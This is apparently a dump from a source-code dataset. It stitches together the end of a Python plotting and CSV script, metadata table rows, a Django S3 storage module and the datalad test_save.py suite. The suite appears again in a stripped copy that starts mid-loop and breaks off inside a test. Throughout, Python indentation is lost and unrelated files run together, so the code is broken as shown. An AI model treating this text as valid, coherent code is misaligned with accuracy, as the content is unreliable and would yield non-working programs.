plt.show()
if cfg.SAVE_FIG and save_image:
if filtered_image:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg.FILTERED_IMAGE_FILE_ROOT + title + subtitle + "_FILTERED" + ".png")
else:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT + title + "_TIME" + ".png")
return plt
def plot_atmosphere(altitude, time, temperature=None, fig=None, fileref=None):
if fig is None:
fig, ax = plt.subplots()
ax.plot(time, altitude, label="Altitude")
plt.ylabel("Pressure Altitude (ft)")
plt.xlabel("Time (s)")
return None
# ---------------------------------
# FUNCTIONS - CSV
# ---------------------------------
def save_csv_output(data, filename):
print(f"Saving csv with data to {filename}.csv")
filename_complete = cfg.OUTPUT_FILE_ROOT + filename + ".csv"
with open(filename_complete, mode='w', newline='') as csv_file:
csv_writer = csv.writer(csv_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
for cols in data:
csv_writer.writerow(cols)
print("CSV saved.")
return 1
| true | true |
f73c288450be7e545ca2380eab9a9ba9c9232ca2 | 352 | py | Python | imagersite/imagersite/custom_storages.py | famavott/django-imager | a9867656af7a665f81574c1be5d50a2a703b4af4 | [
"MIT"
] | null | null | null | imagersite/imagersite/custom_storages.py | famavott/django-imager | a9867656af7a665f81574c1be5d50a2a703b4af4 | [
"MIT"
] | 1 | 2017-11-27T05:32:39.000Z | 2017-11-27T05:32:39.000Z | imagersite/imagersite/custom_storages.py | famavott/django-imager | a9867656af7a665f81574c1be5d50a2a703b4af4 | [
"MIT"
] | null | null | null | """"Custom storage for S3."""
from django.conf import settings
from storages.backends.s3boto import S3BotoStorage
class StaticStorage(S3BotoStorage):
"""Class for static storage."""
location = settings.STATICFILES_LOCATION
class MediaStorage(S3BotoStorage):
"""Class for media storage."""
location = settings.MEDIAFILES_LOCATION
| 20.705882 | 50 | 0.75 | from django.conf import settings
from storages.backends.s3boto import S3BotoStorage
class StaticStorage(S3BotoStorage):
location = settings.STATICFILES_LOCATION
class MediaStorage(S3BotoStorage):
location = settings.MEDIAFILES_LOCATION
| true | true |
f73c295e767d2e72eeb8337e67e3980c6e104b77 | 30,720 | py | Python | datalad/core/local/tests/test_save.py | m-hess/datalad | 4ac10eb04ba4e8dbee013c053e7937cdf20e9728 | [
"MIT"
] | null | null | null | datalad/core/local/tests/test_save.py | m-hess/datalad | 4ac10eb04ba4e8dbee013c053e7937cdf20e9728 | [
"MIT"
] | null | null | null | datalad/core/local/tests/test_save.py | m-hess/datalad | 4ac10eb04ba4e8dbee013c053e7937cdf20e9728 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# ex: set sts=4 ts=4 sw=4 noet:
# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##
#
# See COPYING file distributed along with the datalad package for the
# copyright and license terms.
#
# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##
"""Test save command"""
import os
import os.path as op
from datalad.utils import (
ensure_list,
Path,
on_windows,
rmtree,
)
from datalad.tests.utils import (
assert_in,
assert_in_results,
assert_not_in,
assert_raises,
assert_repo_status,
assert_result_count,
assert_status,
chpwd,
create_tree,
DEFAULT_BRANCH,
eq_,
known_failure,
known_failure_appveyor,
known_failure_windows,
maybe_adjust_repo,
OBSCURE_FILENAME,
ok_,
SkipTest,
skip_wo_symlink_capability,
swallow_outputs,
with_tempfile,
with_testrepos,
with_tree,
)
import datalad.utils as ut
from datalad.distribution.dataset import Dataset
from datalad.support.annexrepo import AnnexRepo
from datalad.support.exceptions import CommandError
from datalad.api import (
create,
install,
save,
)
tree_arg = dict(tree={'test.txt': 'some',
'test_annex.txt': 'some annex',
'test1.dat': 'test file 1',
'test2.dat': 'test file 2',
OBSCURE_FILENAME: 'blobert',
'dir': {'testindir': 'someother',
OBSCURE_FILENAME: 'none'},
'dir2': {'testindir3': 'someother3'}})
# https://ci.appveyor.com/project/mih/datalad/builds/29840270/job/oya0cs55nwtoga4p
# # (The system cannot find the path specified.)
@known_failure_appveyor
@with_testrepos('.*git.*', flavors=['clone'])
def test_save(path):
ds = Dataset(path)
with open(op.join(path, "new_file.tst"), "w") as f:
f.write("something")
ds.repo.add("new_file.tst", git=True)
ok_(ds.repo.dirty)
ds.save(message="add a new file")
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
with open(op.join(path, "new_file.tst"), "w") as f:
f.write("modify")
ok_(ds.repo.dirty)
ds.save(message="modified new_file.tst")
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
# save works without ds and files given in the PWD
with open(op.join(path, "new_file.tst"), "w") as f:
f.write("rapunzel")
with chpwd(path):
save(message="love rapunzel")
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
# and also without `-a` when things are staged
with open(op.join(path, "new_file.tst"), "w") as f:
f.write("exotic")
ds.repo.add("new_file.tst", git=True)
with chpwd(path):
save(message="love marsians")
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
files = ['one.txt', 'two.txt']
for fn in files:
with open(op.join(path, fn), "w") as f:
f.write(fn)
ds.save([op.join(path, f) for f in files])
# superfluous call to save (alll saved it already), should not fail
# but report that nothing was saved
assert_status('notneeded', ds.save(message="set of new files"))
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
# create subdataset
subds = ds.create('subds')
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
# modify subds
with open(op.join(subds.path, "some_file.tst"), "w") as f:
f.write("something")
subds.save()
assert_repo_status(subds.path, annex=isinstance(subds.repo, AnnexRepo))
# ensure modified subds is committed
ds.save()
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
# now introduce a change downstairs
subds.create('someotherds')
assert_repo_status(subds.path, annex=isinstance(subds.repo, AnnexRepo))
ok_(ds.repo.dirty)
# and save via subdataset path
ds.save('subds', version_tag='new_sub')
assert_repo_status(path, annex=isinstance(ds.repo, AnnexRepo))
tags = ds.repo.get_tags()
ok_(len(tags) == 1)
eq_(tags[0], dict(hexsha=ds.repo.get_hexsha(), name='new_sub'))
# fails when retagged, like git does
res = ds.save(version_tag='new_sub', on_failure='ignore')
assert_status('error', res)
assert_result_count(
res, 1,
action='save', type='dataset', path=ds.path,
message=('cannot tag this version: %s',
"fatal: tag 'new_sub' already exists"))
@with_tempfile()
def test_save_message_file(path):
ds = Dataset(path).create()
with assert_raises(ValueError):
ds.save("blah", message="me", message_file="and me")
create_tree(path, {"foo": "x",
"msg": "add foo"})
ds.repo.add("foo")
ds.save(message_file=op.join(ds.path, "msg"))
# ATTN: Consider corresponding branch so that this check works when we're
# on an adjusted branch too (e.g., when this test is executed under
# Windows).
eq_(ds.repo.format_commit("%s", DEFAULT_BRANCH),
"add foo")
def test_renamed_file():
@with_tempfile()
def check_renamed_file(recursive, annex, path):
ds = Dataset(path).create(annex=annex)
create_tree(path, {'old': ''})
ds.repo.add('old')
ds.repo.call_git(["mv"], files=["old", "new"])
ds.save(recursive=recursive)
assert_repo_status(path)
for recursive in False,: #, True TODO when implemented
for annex in True, False:
yield check_renamed_file, recursive, annex
@with_tempfile(mkdir=True)
def test_subdataset_save(path):
parent = Dataset(path).create()
sub = parent.create('sub')
assert_repo_status(parent.path)
create_tree(parent.path, {
"untracked": 'ignore',
'sub': {
"new": "wanted"}})
sub.save('new')
# defined state: one untracked, modified (but clean in itself) subdataset
assert_repo_status(sub.path)
assert_repo_status(parent.path, untracked=['untracked'], modified=['sub'])
# `save sub` does not save the parent!!
with chpwd(parent.path):
assert_status('notneeded', save(dataset=sub.path))
assert_repo_status(parent.path, untracked=['untracked'], modified=['sub'])
# `save -u .` saves the state change in the subdataset,
# but leaves any untracked content alone
with chpwd(parent.path):
assert_status('ok', parent.save(updated=True))
assert_repo_status(parent.path, untracked=['untracked'])
# get back to the original modified state and check that -S behaves in
# exactly the same way
create_tree(parent.path, {
'sub': {
"new2": "wanted2"}})
sub.save('new2')
assert_repo_status(parent.path, untracked=['untracked'], modified=['sub'])
@with_tempfile(mkdir=True)
def test_subsuperdataset_save(path):
# Verify that when invoked without recursion save does not
# cause querying of subdatasets of the subdataset
# see https://github.com/datalad/datalad/issues/4523
parent = Dataset(path).create()
# Create 3 levels of subdatasets so later to check operation
# with or without --dataset being specified
sub1 = parent.create('sub1')
sub2 = parent.create(sub1.pathobj / 'sub2')
sub3 = parent.create(sub2.pathobj / 'sub3')
assert_repo_status(path)
# now we will lobotomize that sub3 so git would fail if any query is performed.
(sub3.pathobj / '.git' / 'config').chmod(0o000)
try:
sub3.repo.call_git(['ls-files'], read_only=True)
raise SkipTest
except CommandError:
# desired outcome
pass
# the call should proceed fine since neither should care about sub3
# default is no recursion
parent.save('sub1')
sub1.save('sub2')
assert_raises(CommandError, parent.save, 'sub1', recursive=True)
# and should not fail in the top level superdataset
with chpwd(parent.path):
save('sub1')
# or in a subdataset above the problematic one
with chpwd(sub1.path):
save('sub2')
@skip_wo_symlink_capability
@with_tempfile(mkdir=True)
def test_symlinked_relpath(path):
# initially ran into on OSX https://github.com/datalad/datalad/issues/2406
os.makedirs(op.join(path, "origin"))
dspath = op.join(path, "linked")
os.symlink('origin', dspath)
ds = Dataset(dspath).create()
create_tree(dspath, {
"mike1": 'mike1', # will be added from topdir
"later": "later", # later from within subdir
"d": {
"mike2": 'mike2', # to be added within subdir
}
})
# in the root of ds
with chpwd(dspath):
ds.repo.add("mike1", git=True)
ds.save(message="committing", path="./mike1")
# Let's also do in subdirectory as CWD, check that relative path
# given to a plain command (not dataset method) are treated as
# relative to CWD
with chpwd(op.join(dspath, 'd')):
save(dataset=ds.path,
message="committing",
path="mike2")
later = op.join(op.pardir, "later")
ds.repo.add(later, git=True)
save(dataset=ds.path, message="committing", path=later)
assert_repo_status(dspath)
@skip_wo_symlink_capability
@with_tempfile(mkdir=True)
def test_bf1886(path):
parent = Dataset(path).create()
parent.create('sub')
assert_repo_status(parent.path)
# create a symlink pointing down to the subdataset, and add it
os.symlink('sub', op.join(parent.path, 'down'))
parent.save('down')
assert_repo_status(parent.path)
# now symlink pointing up
os.makedirs(op.join(parent.path, 'subdir', 'subsubdir'))
os.symlink(op.join(op.pardir, 'sub'), op.join(parent.path, 'subdir', 'up'))
parent.save(op.join('subdir', 'up'))
# 'all' to avoid the empty dir being listed
assert_repo_status(parent.path, untracked_mode='all')
# now symlink pointing 2xup, as in #1886
os.symlink(
op.join(op.pardir, op.pardir, 'sub'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup'))
parent.save(op.join('subdir', 'subsubdir', 'upup'))
assert_repo_status(parent.path)
# simulatenously add a subds and a symlink pointing to it
# create subds, but don't register it
create(op.join(parent.path, 'sub2'))
os.symlink(
op.join(op.pardir, op.pardir, 'sub2'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup2'))
parent.save(['sub2', op.join('subdir', 'subsubdir', 'upup2')])
assert_repo_status(parent.path)
# full replication of #1886: the above but be in subdir of symlink
# with no reference dataset
create(op.join(parent.path, 'sub3'))
os.symlink(
op.join(op.pardir, op.pardir, 'sub3'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup3'))
# need to use absolute paths
with chpwd(op.join(parent.path, 'subdir', 'subsubdir')):
save([op.join(parent.path, 'sub3'),
op.join(parent.path, 'subdir', 'subsubdir', 'upup3')])
assert_repo_status(parent.path)
@with_tree({
'1': '',
'2': '',
'3': ''})
def test_gh2043p1(path):
# this tests documents the interim agreement on what should happen
# in the case documented in gh-2043
ds = Dataset(path).create(force=True)
ds.save('1')
assert_repo_status(ds.path, untracked=['2', '3'])
ds.unlock('1')
assert_repo_status(
ds.path,
# on windows we are in an unlocked branch by default, hence
# we would see no change
modified=[] if ds.repo.is_managed_branch() else ['1'],
untracked=['2', '3'])
# save(.) should recommit unlocked file, and not touch anything else
# this tests the second issue in #2043
with chpwd(path):
# only save modified bits
save(path='.', updated=True)
# state of the file (unlocked/locked) is committed as well, and the
# test doesn't lock the file again
assert_repo_status(ds.path, untracked=['2', '3'])
with chpwd(path):
# but when a path is given, anything that matches this path
# untracked or not is added/saved
save(path='.')
# state of the file (unlocked/locked) is committed as well, and the
# test doesn't lock the file again
assert_repo_status(ds.path)
@with_tree({
'staged': 'staged',
'untracked': 'untracked'})
def test_bf2043p2(path):
ds = Dataset(path).create(force=True)
ds.repo.add('staged')
assert_repo_status(ds.path, added=['staged'], untracked=['untracked'])
# save -u does not commit untracked content
# this tests the second issue in #2043
with chpwd(path):
save(updated=True)
assert_repo_status(ds.path, untracked=['untracked'])
@with_tree({
OBSCURE_FILENAME + u'_staged': 'staged',
OBSCURE_FILENAME + u'_untracked': 'untracked'})
def test_encoding(path):
staged = OBSCURE_FILENAME + u'_staged'
untracked = OBSCURE_FILENAME + u'_untracked'
ds = Dataset(path).create(force=True)
ds.repo.add(staged)
assert_repo_status(ds.path, added=[staged], untracked=[untracked])
ds.save(updated=True)
assert_repo_status(ds.path, untracked=[untracked])
@with_tree(**tree_arg)
def test_add_files(path):
ds = Dataset(path).create(force=True)
test_list_1 = ['test_annex.txt']
test_list_2 = ['test.txt']
test_list_3 = ['test1.dat', 'test2.dat']
test_list_4 = [op.join('dir', 'testindir'),
op.join('dir', OBSCURE_FILENAME)]
for arg in [(test_list_1[0], False),
(test_list_2[0], True),
(test_list_3, False),
(test_list_4, False)]:
# special case 4: give the dir:
if arg[0] == test_list_4:
result = ds.save('dir', to_git=arg[1])
status = ds.repo.annexstatus(['dir'])
else:
result = ds.save(arg[0], to_git=arg[1])
for a in ensure_list(arg[0]):
assert_result_count(result, 1, path=str(ds.pathobj / a))
status = ds.repo.get_content_annexinfo(
ut.Path(p) for p in ensure_list(arg[0]))
for f, p in status.items():
if arg[1]:
assert p.get('key', None) is None, f
else:
assert p.get('key', None) is not None, f
@with_tree(**tree_arg)
@with_tempfile(mkdir=True)
def test_add_subdataset(path, other):
subds = create(op.join(path, 'dir'), force=True)
ds = create(path, force=True)
ok_(subds.repo.dirty)
ok_(ds.repo.dirty)
assert_not_in('dir', ds.subdatasets(result_xfm='relpaths'))
# "add everything in subds to subds"
save(dataset=subds.path)
assert_repo_status(subds.path)
assert_not_in('dir', ds.subdatasets(result_xfm='relpaths'))
# but with a base directory we add the dataset subds as a subdataset
# to ds
res = ds.save(subds.path)
assert_in_results(res, action="add", path=subds.path, refds=ds.path)
res = ds.subdatasets()
assert_result_count(res, 1)
assert_result_count(
res, 1,
# essentials
path=op.join(ds.path, 'dir'),
gitmodule_url='./dir',
gitmodule_name='dir',
)
# create another one
other = create(other)
# install into superdataset, but don't add
other_clone = install(source=other.path, path=op.join(ds.path, 'other'))
# little dance to get the revolution-type dataset
other_clone = Dataset(other_clone.path)
ok_(other_clone.is_installed)
assert_not_in('other', ds.subdatasets(result_xfm='relpaths'))
# now add, it should pick up the source URL
ds.save('other')
# and that is why, we can reobtain it from origin
ds.uninstall('other')
ok_(not other_clone.is_installed())
ds.get('other')
ok_(other_clone.is_installed())
# CommandError: command '['git', '-c', 'receive.autogc=0', '-c', 'gc.auto=0', 'annex', 'add', '--json', '--', 'empty', 'file.txt']' failed with exitcode 1
# Failed to run ['git', '-c', 'receive.autogc=0', '-c', 'gc.auto=0', 'annex', 'add', '--json', '--', 'empty', 'file.txt'] under 'C:\\Users\\appveyor\\AppData\\Local\\Temp\\1\\datalad_temp_tree_j2mk92y3'. Exit code=1.
@known_failure_windows
@with_tree(tree={
'file.txt': 'some text',
'empty': '',
'file2.txt': 'some text to go to annex',
'.gitattributes': '* annex.largefiles=(not(mimetype=text/*))'}
)
def test_add_mimetypes(path):
ds = Dataset(path).create(force=True)
ds.repo.add('.gitattributes')
ds.repo.commit('added attributes to git explicitly')
# now test that those files will go into git/annex correspondingly
# WINDOWS FAILURE NEXT
__not_tested__ = ds.save(['file.txt', 'empty'])
assert_repo_status(path, untracked=['file2.txt'])
# But we should be able to force adding file to annex when desired
ds.save('file2.txt', to_git=False)
# check annex file status
annexinfo = ds.repo.get_content_annexinfo()
for path, in_annex in (
# Empty one considered to be application/octet-stream
# i.e. non-text
('empty', True),
('file.txt', False),
('file2.txt', True)):
# low-level API report -> repo path reference, no ds path
p = ds.repo.pathobj / path
assert_in(p, annexinfo)
if in_annex:
assert_in('key', annexinfo[p], p)
else:
assert_not_in('key', annexinfo[p], p)
@known_failure_appveyor
# ^ Issue only happens on appveyor, Python itself implodes. Cannot be
# reproduced on a real windows box.
@with_tempfile(mkdir=True)
def test_gh1597(path):
ds = Dataset(path).create()
sub = ds.create('sub')
res = ds.subdatasets()
assert_result_count(res, 1, path=sub.path)
# now modify .gitmodules with another command
ds.subdatasets(contains=sub.path, set_property=[('this', 'that')])
# now modify low-level
with open(op.join(ds.path, '.gitmodules'), 'a') as f:
f.write('\n')
assert_repo_status(ds.path, modified=['.gitmodules'])
ds.save('.gitmodules')
# must not come under annex mangement
assert_not_in(
'key',
ds.repo.annexstatus(paths=['.gitmodules']).popitem()[1])
@with_tempfile(mkdir=True)
def test_gh1597_simpler(path):
ds = Dataset(path).create()
# same goes for .gitattributes
with open(op.join(ds.path, '.gitignore'), 'a') as f:
f.write('*.swp\n')
ds.save('.gitignore')
assert_repo_status(ds.path)
# put .gitattributes in some subdir and add all, should also go into Git
attrfile = op.join ('subdir', '.gitattributes')
ds.repo.set_gitattributes(
[('*', dict(mycustomthing='this'))],
attrfile)
assert_repo_status(ds.path, untracked=[attrfile], untracked_mode='all')
ds.save()
assert_repo_status(ds.path)
# no annex key, not in annex
assert_not_in(
'key',
ds.repo.get_content_annexinfo([ut.Path(attrfile)]).popitem()[1])
@with_tempfile(mkdir=True)
def test_update_known_submodule(path):
def get_baseline(p):
ds = Dataset(p).create()
sub = create(str(ds.pathobj / 'sub'))
assert_repo_status(ds.path, untracked=['sub'])
return ds
# attempt one
ds = get_baseline(op.join(path, 'wo_ref'))
with chpwd(ds.path):
save(recursive=True)
assert_repo_status(ds.path)
# attempt two, same as above but call add via reference dataset
ds = get_baseline(op.join(path, 'w_ref'))
ds.save(recursive=True)
assert_repo_status(ds.path)
@with_tempfile(mkdir=True)
def test_add_recursive(path):
# make simple hierarchy
parent = Dataset(path).create()
assert_repo_status(parent.path)
sub1 = parent.create(op.join('down', 'sub1'))
assert_repo_status(parent.path)
sub2 = parent.create('sub2')
# next one make the parent dirty
subsub = sub2.create('subsub')
assert_repo_status(parent.path, modified=['sub2'])
res = parent.save()
assert_repo_status(parent.path)
# now add content deep in the hierarchy
create_tree(subsub.path, {'new': 'empty'})
assert_repo_status(parent.path, modified=['sub2'])
# recursive add should not even touch sub1, because
# it knows that it is clean
res = parent.save(recursive=True, jobs=5)
# the key action is done
assert_result_count(
res, 1, path=op.join(subsub.path, 'new'), action='add', status='ok')
# saved all the way up
assert_result_count(res, 3, action='save', status='ok')
assert_repo_status(parent.path)
@with_tree(**tree_arg)
def test_relpath_add(path):
ds = Dataset(path).create(force=True)
with chpwd(op.join(path, 'dir')):
eq_(save('testindir')[0]['path'],
op.join(ds.path, 'dir', 'testindir'))
# and now add all
save('..')
# auto-save enabled
assert_repo_status(ds.path)
@skip_wo_symlink_capability
@with_tempfile()
def test_bf2541(path):
ds = create(path)
subds = ds.create('sub')
assert_repo_status(ds.path)
os.symlink('sub', op.join(ds.path, 'symlink'))
with chpwd(ds.path):
res = save(recursive=True)
assert_repo_status(ds.path)
@with_tempfile()
def test_remove_subds(path):
ds = create(path)
ds.create('sub')
ds.create(op.join('sub', 'subsub'))
assert_repo_status(ds.path)
assert_result_count(
ds.subdatasets(), 1,
path=op.join(ds.path, 'sub'))
# all good at this point, subdataset known, dataset clean
# now have some external force wipe out the subdatasets
rmtree(op.join(ds.path, 'sub'))
assert_result_count(
ds.status(), 1,
path=op.join(ds.path, 'sub'),
state='deleted')
# a single call to save() must fix up the mess
assert_status('ok', ds.save())
assert_repo_status(ds.path)
@with_tempfile()
def test_partial_unlocked(path):
# https://github.com/datalad/datalad/issues/1651
ds = create(path)
(ds.pathobj / 'normal.txt').write_text(u'123')
ds.save()
assert_repo_status(ds.path)
ds.unlock('normal.txt')
ds.save()
# mixed git and git-annex'ed files
(ds.pathobj / 'ingit.txt').write_text(u'234')
ds.save(to_git=True)
(ds.pathobj / 'culprit.txt').write_text(u'345')
(ds.pathobj / 'ingit.txt').write_text(u'modified')
ds.save()
assert_repo_status(ds.path)
# but now a change in the attributes
ds.unlock('culprit.txt')
ds.repo.set_gitattributes([
('*', {'annex.largefiles': 'nothing'})])
ds.save()
assert_repo_status(ds.path)
@with_tree({'.gitattributes': "* annex.largefiles=(largerthan=4b)",
"foo": "in annex"})
def test_save_partial_commit_shrinking_annex(path):
# This is a variation on the test above. The main difference is that there
# are other staged changes in addition to the unlocked filed.
ds = create(path, force=True)
ds.save()
assert_repo_status(ds.path)
ds.unlock(path="foo")
create_tree(ds.path, tree={"foo": "a", "staged": ""},
remove_existing=True)
# Even without this staged change, a plain 'git commit -- foo' would fail
# with git-annex's partial index error, but save (or more specifically
# GitRepo.save_) drops the pathspec if there are no staged changes.
ds.repo.add("staged", git=True)
if ds.repo.supports_unlocked_pointers:
ds.save(path="foo")
assert_repo_status(ds.path, added=["staged"])
else:
# Unlike the obsolete interface.save, save doesn't handle a partial
# commit if there were other staged changes.
with assert_raises(CommandError) as cm:
ds.save(path="foo")
assert_in("partial commit", str(cm.exception))
@with_tempfile()
def test_path_arg_call(path):
ds = create(path)
for testfile in (
ds.pathobj / 'abs.txt',
ds.pathobj / 'rel.txt'):
testfile.write_text(u'123')
# we used to resolve relative paths against a dataset just given by
# a path, but we no longer do that
#save(dataset=ds.path, path=[testfile.name], to_git=True)
save(dataset=ds, path=[testfile.name], to_git=True)
@with_tree(tree={
'file.txt': 'some text',
'd1': {
'subrepo': {
'subfile': 'more repo text',
},
},
'd2': {
'subds': {
'subfile': 'more ds text',
},
},
})
def test_surprise_subds(path):
# https://github.com/datalad/datalad/issues/3139
ds = create(path, force=True)
# a lonely repo without any commit
somerepo = AnnexRepo(path=op.join(path, 'd1', 'subrepo'), create=True)
# a proper subdataset
subds = create(op.join(path, 'd2', 'subds'), force=True)
# If subrepo is an adjusted branch, it would have a commit, making most of
# this test irrelevant because it is about the unborn branch edge case.
adjusted = somerepo.is_managed_branch()
# This edge case goes away with Git v2.22.0.
fixed_git = somerepo.git_version >= '2.22.0'
# save non-recursive
res = ds.save(recursive=False, on_failure='ignore')
if not adjusted and fixed_git:
# We get an appropriate error about no commit being checked out.
assert_in_results(res, action='add_submodule', status='error')
# the content of both subds and subrepo are not added to their
# respective parent as no --recursive was given
assert_repo_status(subds.path, untracked=['subfile'])
assert_repo_status(somerepo.path, untracked=['subfile'])
if adjusted or fixed_git:
if adjusted:
# adjusted branch: #datalad/3178 (that would have a commit)
modified = [subds.repo.pathobj, somerepo.pathobj]
untracked = []
else:
# Newer Git versions refuse to add a sub-repository with no commits
# checked out.
modified = [subds.repo.pathobj]
untracked = ['d1']
assert_repo_status(ds.path, modified=modified, untracked=untracked)
assert_not_in(ds.repo.pathobj / 'd1' / 'subrepo' / 'subfile',
ds.repo.get_content_info())
else:
# however, while the subdataset is added (and reported as modified
# because it content is still untracked) the subrepo
# cannot be added (it has no commit)
# worse: its untracked file add been added to the superdataset
assert_repo_status(ds.path, modified=['d2/subds'])
assert_in(ds.repo.pathobj / 'd1' / 'subrepo' / 'subfile',
ds.repo.get_content_info())
# with proper subdatasets, all evil is gone
assert_not_in(ds.repo.pathobj / 'd2' / 'subds' / 'subfile',
ds.repo.get_content_info())
@with_tree({"foo": ""})
def test_bf3285(path):
ds = Dataset(path).create(force=True)
# Note: Using repo.pathobj matters in the "TMPDIR=/var/tmp/sym\ link" case
# because assert_repo_status is based off of {Annex,Git}Repo.path, which is
# the realpath'd path (from the processing in _flyweight_id_from_args).
subds = create(ds.repo.pathobj.joinpath("subds"))
# Explicitly saving a path does not save an untracked, unspecified
# subdataset.
ds.save("foo")
assert_repo_status(ds.path, untracked=[subds.path])
@with_tree({"outside": "",
"ds": {"within": ""}})
def test_on_failure_continue(path):
ds = Dataset(op.join(path, "ds")).create(force=True)
# save() calls status() in a way that respects on_failure.
assert_in_results(
ds.save(path=[op.join(path, "outside"),
op.join(path, "ds", "within")],
on_failure="ignore"),
action="status",
status="error")
# save() continued despite the failure and saved ds/within.
assert_repo_status(ds.path)
@with_tree(tree={OBSCURE_FILENAME: "abc"})
def test_save_obscure_name(path):
ds = Dataset(path).create(force=True)
fname = OBSCURE_FILENAME
# Just check that we don't fail with a unicode error.
with swallow_outputs():
ds.save(path=fname, result_renderer="default")
@with_tree(tree={
".dot": "ab", "nodot": "cd",
"nodot-subdir": {".dot": "ef", "nodot": "gh"},
".dot-subdir": {".dot": "ij", "nodot": "kl"}})
def check_save_dotfiles(to_git, save_path, path):
# Note: Take relpath to work with Travis "TMPDIR=/var/tmp/sym\ link" run.
paths = [Path(op.relpath(op.join(root, fname), path))
for root, _, fnames in os.walk(op.join(path, save_path or ""))
for fname in fnames]
ok_(paths)
ds = Dataset(path).create(force=True)
if not to_git and ds.repo.is_managed_branch():
ver = ds.repo.git_annex_version
if "8" < ver < "8.20200309":
# git-annex's 1978a2420 (2020-03-09) fixed a bug where
# annexed dotfiles could switch when annex.dotfiles=true
# was not set in .git/config or git-annex:config.log.
ds.repo.config.set("annex.dotfiles", "true",
where="local", reload=True)
elif ver < "8" and save_path is None:
raise SkipTest("Fails with annex version below v8.*")
ds.save(save_path, to_git=to_git)
if save_path is None:
assert_repo_status(ds.path)
repo = ds.repo
annexinfo = repo.get_content_annexinfo()
def _check(fn, p):
fn("key", annexinfo[repo.pathobj / p], p)
if to_git:
def check(p):
_check(assert_not_in, p)
else:
def check(p):
_check(assert_in, p)
for path in paths:
check(path)
def test_save_dotfiles():
for git in [True, False, None]:
for save_path in [None, "nodot-subdir"]:
yield check_save_dotfiles, git, save_path
@with_tempfile
def test_save_nested_subs_explicit_paths(path):
ds = Dataset(path).create()
spaths = [Path("s1"), Path("s1", "s2"), Path("s1", "s2", "s3")]
for spath in spaths:
Dataset(ds.pathobj / spath).create()
ds.save(path=spaths)
eq_(set(ds.subdatasets(recursive=True, result_xfm="relpaths")),
set(map(str, spaths)))
@with_tempfile
def test_save_gitrepo_annex_subds_adjusted(path):
ds = Dataset(path).create(annex=False)
subds = ds.create("sub")
maybe_adjust_repo(subds.repo)
(subds.pathobj / "foo").write_text("foo")
subds.save()
ds.save()
assert_repo_status(ds.path)
@known_failure
@with_tempfile
def test_save_adjusted_partial(path):
ds = Dataset(path).create()
subds = ds.create("sub")
maybe_adjust_repo(subds.repo)
(subds.pathobj / "foo").write_text("foo")
subds.save()
(ds.pathobj / "other").write_text("staged, not for committing")
ds.repo.call_git(["add", "other"])
ds.save(path=["sub"])
assert_repo_status(ds.path, added=["other"])
| 34.948805 | 216 | 0.635091 |
ve in False,: #, True TODO when implemented
for annex in True, False:
yield check_renamed_file, recursive, annex
@with_tempfile(mkdir=True)
def test_subdataset_save(path):
parent = Dataset(path).create()
sub = parent.create('sub')
assert_repo_status(parent.path)
create_tree(parent.path, {
"untracked": 'ignore',
'sub': {
"new": "wanted"}})
sub.save('new')
# defined state: one untracked, modified (but clean in itself) subdataset
assert_repo_status(sub.path)
assert_repo_status(parent.path, untracked=['untracked'], modified=['sub'])
# `save sub` does not save the parent!!
with chpwd(parent.path):
assert_status('notneeded', save(dataset=sub.path))
assert_repo_status(parent.path, untracked=['untracked'], modified=['sub'])
# `save -u .` saves the state change in the subdataset,
# but leaves any untracked content alone
with chpwd(parent.path):
assert_status('ok', parent.save(updated=True))
assert_repo_status(parent.path, untracked=['untracked'])
# get back to the original modified state and check that -S behaves in
# exactly the same way
create_tree(parent.path, {
'sub': {
"new2": "wanted2"}})
sub.save('new2')
assert_repo_status(parent.path, untracked=['untracked'], modified=['sub'])
@with_tempfile(mkdir=True)
def test_subsuperdataset_save(path):
# Verify that when invoked without recursion save does not
# cause querying of subdatasets of the subdataset
# see https://github.com/datalad/datalad/issues/4523
parent = Dataset(path).create()
# Create 3 levels of subdatasets so later to check operation
# with or without --dataset being specified
sub1 = parent.create('sub1')
sub2 = parent.create(sub1.pathobj / 'sub2')
sub3 = parent.create(sub2.pathobj / 'sub3')
assert_repo_status(path)
# now we will lobotomize that sub3 so git would fail if any query is performed.
(sub3.pathobj / '.git' / 'config').chmod(0o000)
try:
sub3.repo.call_git(['ls-files'], read_only=True)
raise SkipTest
except CommandError:
# desired outcome
pass
# the call should proceed fine since neither should care about sub3
# default is no recursion
parent.save('sub1')
sub1.save('sub2')
assert_raises(CommandError, parent.save, 'sub1', recursive=True)
# and should not fail in the top level superdataset
with chpwd(parent.path):
save('sub1')
# or in a subdataset above the problematic one
with chpwd(sub1.path):
save('sub2')
@skip_wo_symlink_capability
@with_tempfile(mkdir=True)
def test_symlinked_relpath(path):
# initially ran into on OSX https://github.com/datalad/datalad/issues/2406
os.makedirs(op.join(path, "origin"))
dspath = op.join(path, "linked")
os.symlink('origin', dspath)
ds = Dataset(dspath).create()
create_tree(dspath, {
"mike1": 'mike1', # will be added from topdir
"later": "later", # later from within subdir
"d": {
"mike2": 'mike2', # to be added within subdir
}
})
# in the root of ds
with chpwd(dspath):
ds.repo.add("mike1", git=True)
ds.save(message="committing", path="./mike1")
# Let's also do in subdirectory as CWD, check that relative path
with chpwd(op.join(dspath, 'd')):
save(dataset=ds.path,
message="committing",
path="mike2")
later = op.join(op.pardir, "later")
ds.repo.add(later, git=True)
save(dataset=ds.path, message="committing", path=later)
assert_repo_status(dspath)
@skip_wo_symlink_capability
@with_tempfile(mkdir=True)
def test_bf1886(path):
parent = Dataset(path).create()
parent.create('sub')
